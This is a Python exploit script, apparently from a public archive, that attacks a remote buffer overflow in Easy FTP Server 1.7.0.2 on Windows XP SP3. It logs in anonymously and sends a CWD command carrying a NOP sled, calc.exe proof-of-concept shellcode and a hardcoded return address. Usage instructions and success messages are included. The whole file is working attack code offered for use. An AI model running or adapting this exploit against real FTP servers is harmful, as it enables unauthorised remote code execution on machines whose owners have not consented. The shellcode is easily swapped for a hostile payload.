# Tested on: XP SP3 (Eng)
#!/usr/bin/python
import socket, sys

print """
*************************************************
* Easy FTP Server 1.7.0.2 Remote BoF *
*     Discovered by: athleet    *
* jonbutler88[at]googlemail[dot]com *
*************************************************
"""

if len(sys.argv) != 3:
 print "Usage: ./easyftp.py <Target IP> <Port>"
 sys.exit(1)

target = sys.argv[1]
port = int(sys.argv[2])

# Calc.exe PoC shellcode - Tested on XP Pro SP3 (Eng)
#
# B *0X009AFE44
#
shellcode = (
"\xba\x20\xf0\xfd\x7f" #    MOV EDX,7FFDF020
"\xc7\x02\x4c\xaa\xf8\x77" #   MOV DWORD PTR DS:[EDX],77F8AA4C
"\x33\xC0" #       XOR EAX,EAX
"\x50" #        PUSH EAX
"\x68\x63\x61\x6C\x63" #   PUSH 636C6163
"\x54" #       PUSH ESP
"\x5B" #       POP EBX
"\x50" #       PUSH EAX
"\x53" #       PUSH EBX
"\xB9\xC7\x93\xC2\x77" #   MOV ECX,77C293C7
"\xFF\xD1" #      CALL ECX
"\xEB\xF7" #      JMP SHORT 009AFE5B
)

nopsled = "\x90" * (268 - len(shellcode))

ret = "\x58\xFD\x9A\x00"

payload = nopsled + shellcode + ret # 272 bytes

print "[+] Launching exploit against " + target + "..."
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
 connect=s.connect((target, port))
 print "[+] Connected!"
except:
 print "[!] Connection failed!"
 sys.exit(0)
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
# Send payload...
print "[+] Sending payload..."
s.send('CWD ' + payload + '\r\n')
try:
 s.recv(1024)
 print "[!] Exploit failed..."
except:
 print "[+] Exploited ^_^"